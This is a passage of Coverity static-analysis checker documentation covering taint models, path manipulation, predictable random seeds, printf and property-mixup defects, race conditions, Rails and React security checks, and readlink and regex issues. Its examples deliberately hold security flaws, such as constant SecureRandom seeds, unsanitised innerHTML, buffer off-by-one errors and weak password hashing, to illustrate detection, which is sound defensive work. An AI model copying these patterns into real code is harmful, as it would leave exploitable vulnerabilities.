- If the analysis reports false positives because it treats a field as tainted when you believe that tainted data cannot flow into that field, refer to `[NotTainted]` / `<NotTainted(>` Attributes for C# and Visual Basic, or `<NotTainted(>` for Java.

See also Section 5.4.1.5, “Adding Assertions that Fields Are Tainted or Not Tainted”. For further information on models and annotations in general, refer to Section 5.2, “Models and Annotations in C# or Visual Basic” or Section 5.4, “Models and Annotations in Java”.

### 4.249.4.2. C, C++, Objective C, Objective C++

With `cov-make-library`, you can use the following Coverity Analysis primitives to create custom models for `PATH_MANIPULATION`.

The following model indicates that `custom_touch()` is a taint sink (of type `PATH`) for argument `path`:

```

void custom_touch(const char *path)
{ __coverity_taint_sink__(path, PATH); }

```

You can model taint sources with the `__coverity_mark_pointee_as_tainted__` modeling primitive. For example, the following model indicates that `packet_get_string()` returns a tainted string from the network:

```
void *packet_get_string() {
 void *ret;
 __coverity_mark_pointee_as_tainted__(ret, TAINT_TYPE_NETWORK);
 return ret;
}
```

The next model indicates that `custom_sanitiz`(`s`) returns true if the `s` argument is valid (and thus should no longer be considered tainted). If the `s` argument is not valid, `custom_sanitiz`(`s`) returns false and the analysis continues to track `s` as tainted:

```
bool custom_sanitiz(const char *s) {
 bool ok_string;
 if (ok_string == true) {
 __coverity_mark_pointee_as_sanitized__(s, PATH);
 return true;
 }
 return false;
}
```

As an alternative to library models, you can use the following function annotation tags in source code comments that immediately precede the targeted function:

- `+taint_sanitiz`: specifies that a function sanitizes a string argument. For example, the following specifies that `custom_sanitiz`(`s`) sanitizes its `s` string argument:

```
// coverity[+taint_sanitiz : arg-*0]
void custom_sanitiz(char* s) {...}
```

- `+taint_source` (without an argument): Specifies that the function returns tainted string data. For example, the following code specifies that `packet_get_string`(`s`) returns a tainted string value:

```
// coverity[+taint_source]
char* packet_get_string() {...}
```

- `+taint_source` (with an argument): Specifies that the function taints the contents of the specified string argument. For example, the following specifies that `custom_string_read`(`s`) taints the contents of its `s` argument:

```
// coverity[+taint_source : arg-0]
void custom_string_read(char* s, int size, FILE* stream) {...}
```



### Note

The `taint_source` function annotation operates in conjunction with these checkers: `FORMAT_STRING_INJECTION`, `HEADER_INJECTION`, `OS_CMD_INJECTION`, `PATH_MANIPULATION`, `SQLI`, `TAINTED_SCALAR`, `TAINTED_STRING`, `URL_MANIPULATION`, and `XPATH_INJECTION`.

You can use the following function annotation tags to ignore function models:

- `-taint_sanitize`: Specifies that a function does not sanitize a string argument. For example, the following specifies that `custom_sanitize()` does not sanitize its `s` string argument:

```
// coverity[-taint_sanitize : arg-*0]
void custom_sanitize(char* s) {...}
```

- `-taint_source` (without an argument): Specifies that the function does not return tainted string data. For example, the following specifies that `packet_get_string()` does not return a tainted string value:

```
// coverity[-taint_source]
char* packet_get_string() {...}
```

- `-taint_source` (with an argument): Specifies that the function does not taint the contents of the specified string argument. For example, the following specifies that `custom_string_read()` does not taint the contents of its `s` argument:

```
// coverity[-taint_source : arg-0]
void custom_string_read(char* s, int size, FILE* stream) {...}
```

#### 4.249.4.3. Go

In Go, the primitives are defined in the package `synopsys.com/coverity-primitives/primitives` and take an `Interface` as an argument; for example:

```
import . "synopsys.com/coverity-primitives/primitives"

func injecting_into_path_function(data interface{}) {
 PathSink(data);
}
```

The `PathSink()` primitive instructs `PATH_MANIPULATION` to report a defect if the argument to `injecting_into_path_function()` is from an untrusted source.

#### 4.249.5. Options

This section describes one or more `PATH_MANIPULATION` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `PATH_MANIPULATION:distrust_all:<boolean>` - [C, C++, Go, JavaScript, Kotlin, PHP, Python, Swift, TypeScript] Setting this option to true is equivalent to setting all `trust_*` checker options for this checker to false. Defaults to `PATH_MANIPULATION:distrust_all:false`.

This checker option is automatically set to `true` if the `--webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `high`. (JavaScript, Kotlin, PHP, Python, Swift)

This checker option is automatically set to `true` for C and C++ if the `--aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `PATH_MANIPULATION:trust_command_line:<boolean>` - [C, C++, Go, JavaScript, Kotlin, PHP, Python, Swift, TypeScript] Setting this option to false causes the analysis to treat command line arguments as tainted. Defaults to `PATH_MANIPULATION:trust_command_line:true` for all languages. Setting this checker option will override the global `--trust-command-line` and `--distrust-command-line` command line options.
- `PATH_MANIPULATION:trust_console:<boolean>` - [C, C++, Go, JavaScript, Kotlin, PHP, Python, Swift, TypeScript] Setting this Web application security option to false causes the analysis to treat data from the console as tainted. Defaults to `PATH_MANIPULATION:trust_console:true` for all languages. Setting this checker option will override the global `--trust-console` and `--distrust-console` command line options.
- `PATH_MANIPULATION:trust_cookie:<boolean>` - [C, C++, Go, JavaScript, Kotlin, PHP, Python, Swift, TypeScript] Setting this Web application security option to false causes the analysis to treat data from HTTP cookies as tainted. Defaults to `PATH_MANIPULATION:trust_cookie:false` for all languages. Setting this checker option will override the global `--trust-cookie` and `--distrust-cookie` command line options.
- `PATH_MANIPULATION:trust_database:<boolean>` - [C, C++, Go, JavaScript, Kotlin, PHP, Python, Swift, TypeScript] Setting this Web application security option to false causes the analysis to treat data from a database as tainted. Defaults to `PATH_MANIPULATION:trust_database:true` for all languages. Setting this checker option will override the global `--trust-database` and `--distrust-database` command line options.
- `PATH_MANIPULATION:trust_environment:<boolean>` - [C, C++, Go, JavaScript, Kotlin, PHP, Python, Swift, TypeScript] Setting this Web application security option to false causes the analysis to treat data from environment variables as tainted. Defaults to `PATH_MANIPULATION:trust_environment:true` for all languages. Setting this checker option will override the global `--trust-environment` and `--distrust-environment` command line options.
- `PATH_MANIPULATION:trust_filesystem:<boolean>` - [C, C++, Go, JavaScript, Kotlin, PHP, Python, Swift, TypeScript] Setting this Web application security option to false causes the analysis to treat data from the filesystem as tainted. Defaults to `PATH_MANIPULATION:trust_filesystem:true` for all languages. Setting this checker option will override the global `--trust-filesystem` and `--distrust-filesystem` command line options.
- `PATH_MANIPULATION:trust_http:<boolean>` - [C, C++, Go, JavaScript, Kotlin, PHP, and Python, TypeScript] Setting this Web application security option to false causes the analysis to treat data from HTTP requests as tainted. Defaults to `PATH_MANIPULATION:trust_http:false` for all languages. Setting this checker option will override the global `--trust-http` and `--distrust-http` command line options.
- `PATH_MANIPULATION:trust_http_header:<boolean>` - [C, C++, Go, JavaScript, Kotlin, PHP, Python, Swift, TypeScript] Setting this Web application security option to false causes the analysis to treat data from HTTP headers as tainted. Defaults to

`PATH_MANIPULATION:trust_http_header:false` for all languages. Setting this checker option will override the global `--trust-http-header` and `--distrust-http-header` command line options.

- `PATH_MANIPULATION:trust_mobile_other_app:<boolean>` - [JavaScript, Kotlin, Swift, TypeScript only] Setting this Web application security option to true causes the analysis to trust data that is received from any mobile application that does not require a permission to communicate with the current application component. Defaults to `PATH_MANIPULATION:trust_mobile_other_app:false`. Setting this checker option will override the global `--trust-mobile-other-app` and `--distrust-mobile-other-app` command line options. Note that enabling this option for PHP and Python will not lead to detection of fewer defects because those languages currently have no known functions that return untrusted mobile data.
- `PATH_MANIPULATION:trust_mobile_other_privileged_app:<boolean>` - [JavaScript, Kotlin, Swift, TypeScript only] Setting this Web application security option to false causes the analysis to treat data as tainted when the data is received from any mobile application that requires a permission to communicate with the current application component. Defaults to `PATH_MANIPULATION:trust_mobile_other_privileged_app:true`. Setting this checker option will override the global `--trust-mobile-other-privileged-app` and `--distrust-mobile-other-privileged-app` command line options. Note that enabling this option for PHP and Python will not lead to detection of fewer defects because those languages currently have no known functions that return untrusted mobile data.
- `PATH_MANIPULATION:trust_mobile_same_app:<boolean>` - [JavaScript, Kotlin, Swift, TypeScript only] Setting this Web application security option to false causes the analysis to treat data received from the same mobile application as though it is tainted. Defaults to `PATH_MANIPULATION:trust_mobile_same_app:true`. Setting this checker option will override the global `--trust-mobile-same-app` and `--distrust-mobile-same-app` command line options. Note that enabling this option for PHP and Python will not lead to detection of fewer defects because those languages currently have no known functions that return untrusted mobile data.
- `PATH_MANIPULATION:trust_mobile_user_input:<boolean>` - [JavaScript, Kotlin, Swift, TypeScript only] Setting this Web application security option to true causes the analysis to treat data obtained from user input as though it is not tainted. Defaults to `PATH_MANIPULATION:trust_mobile_user_input:false`. Setting this checker option will override the global `--trust-mobile-user-input` and `--distrust-mobile-user-input` command line options. Note that enabling this option for PHP and Python will not lead to detection of fewer defects because those languages currently have no known functions that return untrusted mobile data.
- `PATH_MANIPULATION:trust_network:<boolean>` - [C, C++, Go, JavaScript, Kotlin, PHP, Python, Swift, TypeScript] Setting this Web application security option to false causes the analysis to treat data from the network as tainted. Defaults to `PATH_MANIPULATION:trust_network:false` for all languages. Setting this checker option will override the global `--trust-network` and `--distrust-network` command line options.
- `PATH_MANIPULATION:trust_rpc:<boolean>` - [C, C++, Go, JavaScript, Kotlin, PHP, Python, Swift, TypeScript] Setting this Web application security option to false causes the analysis to treat

data from RPC requests as tainted. Defaults to `PATH_MANIPULATION:trust_rpc:false` for all languages. Setting this checker option will override the global `--trust-rpc` and `--distrust-rpc` command line options.

- `PATH_MANIPULATION:trust_system_properties:<boolean>` - [C, C++, Go, JavaScript, Kotlin, PHP, Python, Swift, TypeScript] Setting this Web application security option to false causes the analysis to treat data from system properties as tainted. Defaults to `PATH_MANIPULATION:trust_system_properties:true` for all languages. Setting this checker option will override the global `--trust-system-properties` and `--distrust-system-properties` command line options.

## 4.250. PREDICTABLE\_RANDOM\_SEED

Security Checker

### 4.250.1. Overview

**Supported Languages:** Java, Kotlin

`PREDICTABLE_RANDOM_SEED` reports a defect when a seed is used to construct a secure Random Number Generator (RNG) and the output of the RNG is used for cryptographic purposes. The seed can be a constant (such as a constant string or integer) or a system time that is returned by `java.lang.System.currentTimeMillis` or `java.util.Date.getTime`. Because many secure RNGs are implemented using a pseudo-random number generator, the use of such seeds to construct the RNG will invalidate the use of the output for cryptographic purposes.

- **Disabled by default:** `PREDICTABLE_RANDOM_SEED` is disabled by default for Java. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable `PREDICTABLE_RANDOM_SEED` along with other Web application checkers, use the `--webapp-security` option.

**Android security checker enablement:** To enable `PREDICTABLE_RANDOM_SEED` along with other Java Android security checkers, use the `--android-security` option with the `cov-analyze` command.

- **Enabled by default:** `PREDICTABLE_RANDOM_SEED` is enabled by default for Kotlin.

### 4.250.2. Defect Anatomy

A `PREDICTABLE_RANDOM_SEED` defect demonstrates the use of a predictable value as seed for a pseudo-random number generator (PRNG). The PRNG will generate a predictable sequence of values and is not fit for use in secure applications.

The first event describes the predictable value, which can be one of these:

- An integer or string literal.
- An array containing any literals.

The subsequent events identified by the checker describe the assignment through one or more variables, and its eventual use as a PRNG seed.

### 4.250.3. Examples

This section provides one or more `PREDICTABLE_RANDOM_SEED` examples for both Java and Kotlin. In these examples, an inappropriate value is seeded into `SecureRandom`, which makes the generated random values predictable.

#### 4.250.3.1. Java

This example uses a constant integer.

```
public class PredictableRandomSeed{
 public static SecureRandom getRandom() {
 SecureRandom sr= null;
 try {
 long sd = 1234567; //sd contains constant integer
 sr = new SecureRandom();
 sr.setSeed(sd); //setting sd that is constant integer as seed for sr
 } catch (Exception e) {
 return null;
 }
 return sr;
 }
}
```

This example uses `java.lang.System.currentTimeMillis`.

```
long s = System.currentTimeMillis();
SecureRandom srl = new SecureRandom();
srl.setSeed(s);
```

#### 4.250.3.2. Kotlin

This example uses a constant integer:

```
import java.security.*

class PredictableRandomSeed{
 fun getRandom(): SecureRandom {
 val seed: Long = 23333333
 var random = SecureRandom()
 random.setSeed(seed)

 return random
 }
}
```

This example uses `java.lang.System.currentTimeMillis`.

```
val s = System.currentTimeMillis()
var srl = SecureRandom()
srl.setSeed(s)
```

#### 4.250.4. Models

The following method is a model primitive that marks its parameter as used as a seed for a secure random seed generator. This model primitive works for both Java and Kotlin.

```
com.coverity.primitives.SecurityPrimitives
 .secure_random_seed_sink(Object seed)
```

To generate a model from the following source code, you need to run **cov-make-library** on it.

```
// User model
import com.coverity.primitives.SecurityPrimitives;
class RNG {
 public void setSeed(String seed) {
 SecurityPrimitives.secure_random_seed_sink(seed);
 }
}
```

The checker uses the resulting model file to find a defect in the following source code.

```
// Code under analysis
void setUpRNG(RNG rng) {
 rng.setSeed("constant seed"); //Defect.
}
```

### 4.251. PRINTF\_ARGS

Quality Checker

#### 4.251.1. Overview

**Supported Languages:** C, C++

`PRINTF_ARGS` reports invalid `printf` format strings or invalid arguments to those strings.

**Enabled by default:** `PRINTF_ARGS` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

#### 4.251.2. Defect Anatomy

`PRINTF_ARGS` reports incorrect calls to `printf` and related functions. For example, it reports a type mismatch between a format specifier and its argument. See the *Examples* section for the different kinds of defects it can find.

### 4.251.3. Examples

This section provides one or more `PRINTF_ARGS` examples.

The following example shows a defect resulting from a missing argument to `%d`.

```
void missingArgument() {
 printf("%s: %d\n", "foo"); }
```

The following example shows a defect resulting from an argument being passed when there is no specifier that references it. The extra argument is 0. A defect is reported only for the first unused argument.

```
void extraArgument() {
 printf("%s\n", "foo", 0);
}
```

The following example shows a defect resulting from type mismatches. The `ll` parameter should be type `int`.

```
void wrongType(long long ll) {
 printf("%d\n", ll);
}
```

The following example shows a defect resulting from a format string that fails to parse: the length modifier `'L'` does not apply to `"%d"`.

```
void wrongType(long long ll) {
 printf("%Ld\n", ll);
}
```

### 4.251.4. Options

This section describes one or more `PRINTF_ARGS` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `PRINTF_ARGS:strict_integral_type_match:<boolean>` - If set to true, types are considered distinct for the purpose of `PRINTF_ARGS` matching even if they have the same size. For example, a defect will be reported on passing a `long` to `"%d"` even if `sizeof(int) == sizeof(long)`. Defaults to `PRINTF_ARGS:strict_integral_type_match:false` (all languages).

## 4.252. PROPERTY\_MIXUP

Quality Checker

### 4.252.1. Overview

**Supported Languages:** C#, Java, Swift, Visual Basic

The `PROPERTY_MIXUP` checker detects property getters or setters that return or assign one class member when their name corresponds to a different class member. This error pattern might be the result of copying code or of an incomplete attempt to rename or refactor code. A method is considered a getter or setter if it is part of a property definition or if its name is prefixed with `get` or `set`. The checker ignores methods with complex behavior.

**Enabled by default:** `PROPERTY_MIXUP` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.252.2. Defect Anatomy

A `PROPERTY_MIXUP` defect shows a `mismatch` where a property getter or setter returns or assigns a suspicious value. As evidence that this was not intended, a `suggestion` event indicates a class member name that more closely matches the name of the method. Further evidence of a mixup might include another getter or setter name that already corresponds to the mismatched value. These methods are indicated with an `existing_getter` or `existing_setter` event.

### 4.252.3. Examples

This section provides one or more `PROPERTY_MIXUP` examples.

#### 4.252.3.1. C#

An example of an incorrect getter and setter:

```
class PetInventory {
 // Members:
 private int cats;
 private int dogs;

 // Properties:
 public int Cats {
 get { return cats; }
 set { cats = value; }
 }

 public int Dogs {
 get { return cats; } // PROPERTY_MIXUP defect
 set { cats = value; } // PROPERTY_MIXUP defect
 }
}
```

#### 4.252.3.2. Java

An example of an incorrect getter:

```
class RGBColor {
 // Members:
 private int red_;
```

```
private int green_;
private int blue_;

// Getters:
public int getRed() { return red_; }
public int getGreen() { return green_; }
public int getBlue() { return green_; } // PROPERTY_MIXUP defect
}
```

An example of an incorrect setter:

```
class Point {
 // Members:
 double x, y;

 // Getters:
 double getX() {
 return x;
 }
 double getY() {
 return y;
 }

 // Setters:
 void setX(double val) {
 x = val;
 }
 void setY(double val) {
 x = val; // PROPERTY_MIXUP defect
 }
}
```

#### 4.252.3.3. Swift

An example of an incorrect setter:

```
class CashRegister {

 // Members:
 private var dollars_: Int = 0
 private var cents_: Int = 0

 // Properties:
 public var Dollars: Int {
 get {
 return dollars_
 }
 set(value) {
 dollars_ = value
 UpdateIncome()
 }
 }
}
```

```
public var Cents: Int {
 get {
 return cents_
 }
 set(value) {
 dollars_ = value // PROPERTY_MIXUP defect
 UpdateIncome()
 }
}

func UpdateIncome() {
 // Do something...
}
}
```

#### 4.252.3.4. Visual Basic

In the following example, a defect is reported following the call to getY.

```
Class Coordinate
 Dim x,y as Integer

 Function getX() as Integer
 Return x
 End Function

 Function getY() as Integer
 Return x
 End Function
End Class
```

#### 4.252.4. Options

This section describes one or more `PROPERTY_MIXUP` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `PROPERTY_MIXUP:report_nonproperty_mismatch:<boolean>` - If set to true, the checker will report a mismatched member, even if that member may not be an exposed property because it does not have a getter or setter method with a corresponding name. Defaults to `PROPERTY_MIXUP:report_nonproperty_mismatch:false` (all languages).
- `PROPERTY_MIXUP:require_compatible_types:<boolean>` - If set to true, the checker will only report a getter or setter method whose parameter or return value matches or has a type relationship (either as a parent or child) with the suggested member that matches its name. Defaults to `PROPERTY_MIXUP:require_compatible_types:true` (all languages).

#### 4.253. PW.\*

Quality, Compilation Warning Checkers

### 4.253.1. Overview

**Supported Languages:** C, C++, Swift

See PW.\*, RW.\*, SW.\*: Compilation Warnings.

All current parse warning checkers are described in the parse warning configuration file, available in `<install_dir>/config`. Directions for enabling those PW.\* checkers that are disabled by default are provided in the configuration file.

## 4.254. RACE\_CONDITION (Java Runtime)

Quality, Dynamic Analysis Checker

### 4.254.1. Overview

Dynamic Analysis reports a `RACE_CONDITION` issue when two or more threads both access a field, array, or collection without acquiring a lock to guard those accesses.

### 4.254.2. Issue

The following table identifies the impact of issues found by this checker according to their type, category, and, if available, CWE (Common Weakness Enumeration) identifier. These properties correspond to checker information that appears in Coverity Connect. Note that the table might also identify checker subcategories that are associated with an issue type and checker category.

**Table 4.2. Issue Impact: RACE\_CONDITION**

Issue Type	Checker Category	Impact	Language	CWE
Data race condition	Concurrent data access violations	Medium	Java	366

For more information about `RACE_CONDITION`, see Chapter 2, .

### 4.254.3. Examples

Consider the code below. You might expect it to print `race=0` after each iteration of the `for` loop in `simpleRaceCondition()`. Each iteration of the `for` loop in `simpleRaceCondition()` starts two concurrent threads. One thread runs `Upper.run()` and the other runs `Downer.run()`. The `Upper` thread increments `race` 100,000 times and the `Downer` thread decrements `race` 100,000 times, which makes `race==0`. However, if you run this code, you see many different outputs for `race`. The output depends on the details of how the `Upper` and `Downer` threads are scheduled. The following thread schedule presents problems:

- `Upper` reads `race==0`.
- `Downer` reads `race==0`.

- Upper computes `race+1==1` and stores 1 back into `race`.
- Downer computes `race-1==-1` and stores it back into `race`.
- Now `race==-1`.

Many other variations are possible.

Dynamic Analysis notices this race condition in the output. When Dynamic Analysis watches the following program run, it notices that the field `race` is accessed by two different threads that do not hold a lock that could guard `race` and prohibit problematic thread schedules. Thus Dynamic Analysis reports a potential `RACE_CONDITION` defect in this code. Notice that Dynamic Analysis reports `field_read` and `field_write` events where threads `upper_0` and `downer_0` access `race`.

```
/*
 * RACE_CONDITION defect:
 * Two threads access a field without acquiring a lock.
 */
static class Race {
 static int race = 0;

 static class Upper implements Runnable {
 public void run() {
 for (int i=0; i<100000; ++i) {
/* Thread "upper_0" writes field "race" of class "simple.Example$Race" while holding
no locks. */
/* Thread "upper_0" reads field "race" of class "simple.Example$Race" while holding no
locks. */
 ++race;
 Thread.yield();
 }
 }
 }

 static class Downer implements Runnable {
 public void run() {
 for (int i=0; i<100000; ++i) {
/* Thread "downer_0" reads field "race" of class "simple.Example$Race" while holding
no locks. */
 --race;
 Thread.yield();
 }
 }
 }

 public static void simpleRaceCondition() {
 System.out.println("*** RACE_CONDITION example");
 for (int i=0; i<10; ++i) {
 race = 0;
 runThreadsToCompletion(
 new Thread(new Upper(), "upper_" + i)
 , new Thread(new Downer(), "downer_" + i)
);
 }
 }
}
```

```
 System.out.println(" race=" + race);
 }
}
}
```

#### 4.254.4. Options

Options for `RACE_CONDITION` are set as Dynamic Analysis agent options or Ant properties. See the *Coverity Command Reference* or *Dynamic Analysis Administrator Tutorial* for option details.

- `RACE_CONDITION:detect-races:<boolean>` - Option that detects race conditions. Defaults to true.
- `RACE_CONDITION:instrument-arrays:<boolean>` - Option that watches reads and writes into arrays to report race conditions. Defaults to false.
- `RACE_CONDITION:instrument-collections:<boolean>` - Option that detects race conditions associated with collections. For example, finds a race condition on a map where thread one is `map.get("key")` and thread two is a `map.put("key", "value")`. Defaults to true.
- `RACE_CONDITION:collections-file:<filename>` - Option that contains a list of collection operations that the `RACE_CONDITION` detector uses to detect races in collections. This option implies setting the `instrument-collections` option to true. No default.

#### 4.254.5. Events

This section describes one or more events produced by the `RACE_CONDITION` checker.

- `field_read` - Thread read from the field. See `upper_0` and `downer_0` in the example above.
- `field_write` - Thread wrote to the field. See thread `upper_0` in the example above.

These events come with a stack trace and they identify the thread on which the event occurred. (Threads can be named in one of the constructors of `java.lang.Thread` but there is no guarantee that these names are unique.) The events point out which locks are held at different access sites. In this example, the locking is insufficient to guarantee that these threads do not race.

### 4.255. RAILS\_DEFAULT\_ROUTES

Security Checker

#### 4.255.1. Overview

**Supported Languages:** Ruby

`RAILS_DEFAULT_ROUTES` identifies vulnerabilities resulting from the failure to mark a controller method as private. In Ruby on Rails, default routes can be configured that will match any method on a controller class. All methods that are not intended to be routes must be marked private. If a method is not marked private, an attacker could execute a method not intended to be a public route.

**Enabled by default:** `RAILS_DEFAULT_ROUTES` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.255.2. Defect Anatomy

`RAILS_DEFAULT_ROUTES` defects are reported when a Ruby on Rails application allows either all methods on all controllers or all methods on an individual controller to be routes.

### 4.255.3. Examples

This section provides one or more `RAILS_DEFAULT_ROUTES` examples.

The following Ruby-on-Rails example demonstrates a route configuration that allows any public method on `FooController` to be accessed with a `GET` request.

```
Example::Application.routes.draw do
 get "/foo/:action", controller: 'foo'
end
```

## 4.256. RAILS\_DEVISE\_CONFIG

Security Checker

### 4.256.1. Overview

**Supported Languages:** Ruby

`RAILS_DEVISE_CONFIG` reports on a number of best practices when configuring a Ruby on Rails application using the Devise authentication library.

**Enabled by default:** `RAILS_DEVISE_CONFIG` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.256.2. Defect Anatomy

`RAILS_DEVISE_CONFIG` defects indicate a Devise configuration option is in use that violates a security best practice.

### 4.256.3. Examples

This section provides one or more `RAILS_DEVISE_CONFIG` examples.

The following Ruby example shows a Devise configuration that uses a weak password hashing function (SHA512).

```
Devise.setup do |config|
 config.encryptor = :sha512
end
```

#### 4.256.4. Events

This section describes one or more events produced by the `RAILS_DEVISE_CONFIG` checker.

- `devise_encryptor` - Weak password hashing algorithm.
- `devise_password_length_min` - Low minimum password length.
- `devise_password_length_max` - Low maximum password length.
- `devise_paranoid` - Devise paranoid setting is not enabled.
- `devise_lock_strategy` - No account lockout strategy is configured.
- `devise_reset_timeout` - Password reset link timeout is long.

#### 4.257. RAILS\_MISSING\_FILTER\_ACTION

Security Checker

##### 4.257.1. Overview

**Supported Languages:** Ruby

`RAILS_MISSING_FILTER_ACTION` finds code where a filter specifies an action that does not exist. In Ruby on Rails, filters for actions can be specified at the controller level. If a filter specifies an action that does not exist, it might indicate a typo, a reference to code that was removed, or a reference to a method that was renamed. In scenarios where the developer believes a filter is being applied that is actually not, a security vulnerability could be introduced.

**Enabled by default:** `RAILS_MISSING_FILTER_ACTION` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

##### 4.257.2. Defect Anatomy

A `RAILS_MISSING_FILTER_ACTION` defect indicates a `before_filter` or `before_action` is applied to or exempts an action that does not exist in the current controller.

##### 4.257.3. Examples

This section provides one or more `RAILS_MISSING_FILTER_ACTION` examples.

The following Ruby on Rails example shows a filter that includes a typo when specifying the action to which the filter should apply. As a consequence, the expected authorization filter is not applied to the `update` action.

```
class ExampleController < ApplicationController
 before_action :authorize_user, only: :udpate

 def update
 end
```

end

## 4.258. REACT\_DANGEROUS\_INNERHTML

### 4.258.1. Overview

**Supported Languages:** JavaScript, TypeScript

The `REACT_DANGEROUS_INNERHTML` checker finds cases where the `dangerouslySetInnerHTML` attribute of a `React` element is set. This attribute outputs raw HTML into the `innerHTML` property of a DOM element and might lead to cross-site scripting (XSS) vulnerabilities if the content is untrusted, dynamically generated, or user-provided. You should audit all cases of using the `dangerouslySetInnerHTML` attribute to ensure that it outputs only trusted or sanitized content.

The `REACT_DANGEROUS_INNERHTML` checker is disabled by default. It is only enabled in `Audit` mode.

### 4.258.2. Examples

This section provides one or more `REACT_DANGEROUS_INNERHTML` examples.

In the following example, a `REACT_DANGEROUS_INNERHTML` defect is displayed for the attribute `dangerouslySetInnerHTML` assigned for the `div` element when the `render()` function returns:

```
var React = require('react');

class Dynamic extends React.Component {
 markup (val) {
 return { __html: val }
 }

 render () {
 return <div dangerouslySetInnerHTML={this.markup(this.props.html)} />;
 // REACT_DANGEROUS_INNERHTML defect at previous statement
 }
}
```

## 4.259. READLINK

Quality, Security Checker

### 4.259.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

`READLINK` reports many cases where the POSIX `readlink()` function is used but the program does not safely place a NULL terminator in the result buffer. The `readlink()` function places the contents of a symbolic link into a buffer of a specified size. The return value of `readlink()` can be anything between `-1` and the size of the buffer, and both endpoints require special handling.

The `readlink()` function does not append a null character to the buffer, and truncates the contents in case the buffer is too small. The code must manually null-terminate the buffer, but often defects arise when you unsafely use the return value as an index. If using the return value as an index for null termination, either pass one less than the size of the buffer or check that the return value is less than the size of the buffer.

If the code does not null-terminate the resulting buffer, the `STRING_NULL` checker reports a defect. Also, if the code uses the return value as an index into the buffer without checking it against `-1`, the `NEGATIVE_RETURNS` checker reports a defect.

**Enabled by default:** `READLINK` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.259.2. Examples

This section provides one or more `READLINK` examples.

In the following example, a defect is reported because the integer `len` is not checked that it is not `-1` and that it is less than `sizeof(buff)`. The `readlink()` function can return any value from `-1` up to the size of the buffer. If it returns this maximum amount, an off-by-one overflow results when attempting to manually null-terminate the buffer.

```
void foo() {
 int len, s;
 char buff[128];
 char *link;
 len = readlink(link, buff, sizeof(buff));
 buff[len] = 0;
}
```

In the following example, the code does check if `len` is not `-1`, but there can be an off-by-one overrun because when checking that `len` is less than `sizeof(buff)`, the comparison `<=` is used instead of `<`.

```
void foo() {
 int len, s;
 char buff[128];
 char *link;
 len = readlink(link, buff, sizeof(buff));
 if (len != -1 && len <= sizeof(buff))
}
```

### 4.259.3. Events

This section describes one or more events produced by the `READLINK` checker.

- `readlink_call`: A call to the `readlink` function where the size argument is equal to the size of the destination buffer.
- `readlink`: The return of the `readlink` function is used as an index to the destination buffer.

## 4.260. RW.\*

Quality, Compilation Warning Checkers

### 4.260.1. Overview

**Supported Languages:** C, C++, Swift

See PW.\*, RW.\*, SW.\*: Compilation Warning.

## 4.261. REGEX\_CONFUSION

Quality Checker

### 4.261.1. Overview

**Supported Languages:** Java

`REGEX_CONFUSION` finds cases where a developer who is unaware that a method or parameter takes a regular expression (regex) passes a string that contains special regex characters (for example, a filename that contains a period or dot). Such a mistake can cause the program to interpret the string in an unintended way that causes errors.

For example, it is not obvious that the following Java parameters take a regular expression:

```
java.lang.String.replaceAll
java.lang.String.replaceFirst
java.lang.String.split
```

**Enabled by default:** `REGEX_CONFUSION` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.261.2. Examples

This section provides one or more `REGEX_CONFUSION` examples.

```
public class RegexConfusion {
 String removeXmlExtension(String s) {
 // Defect: Returns "m.xml" instead of "myxml" for "myxml.xml"
 return s.replaceFirst(".xml", "");
 }
}
```

### 4.261.3. Options

This section describes one or more events produced by the `REGEX_CONFUSION` checker.

- `REGEX_CONFUSION:report_character_hiding:<boolean>` - When this Java option is set to true, the checker will report a defect on code like `foo.replaceAll(".", "*")`

that might be intended to hide all characters by replacing every character with a `*`. Defaults to `REGEX_CONFUSION:report_character_hiding:false`

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the `cov-analyze` command is set to `high`.

#### 4.261.4. Events

This section describes one or more events produced by the `REGEX_CONFUSION` checker.

- `regex_expected` - [Java] Main event: Identifies the location of the call to confusing API method.
- `remediation` - [Java] Explains how to match the pattern string literally, which is typically the remedy for such a defect.

### 4.262. REGEX\_INJECTION

Security Checker

#### 4.262.1. Overview

**Supported Languages:** C#, Java, JavaScript, Ruby, Swift, TypeScript, Visual Basic

`REGEX_INJECTION` finds vulnerabilities that occur when uncontrolled dynamic data is used as part of a regular expression. This might allow a malicious user to access all or part of the matched content or to alter the behavior of the program.

#### Enablement for C#, Java, JavaScript, Visual Basic

**Disabled by default:** `REGEX_INJECTION` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable `REGEX_INJECTION` along with other Web application checkers, use the `--webapp-security` option.

**Android security checker enablement:** To enable `REGEX_INJECTION` along with other Java Android security checkers, use the `--android-security` option with the `cov-analyze` command.

#### Enablement for Swift and Ruby

**Enabled by default:** `REGEX_INJECTION` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

#### 4.262.2. Defect Anatomy

A `REGEX_INJECTION` defect shows a dataflow path by which untrusted (tainted) data is used as a regular expression. The path starts at a source of untrusted data, such as reading an HTTP request

parameter in a server-side Web application in Java or C#, or reading a property of the URL that an attacker might control (for example, `window.location.hash`) in client-side JavaScript. From there, the events in the defect show how this tainted data flows through the program and ends up being used as a regular expression.

### 4.262.3. Examples

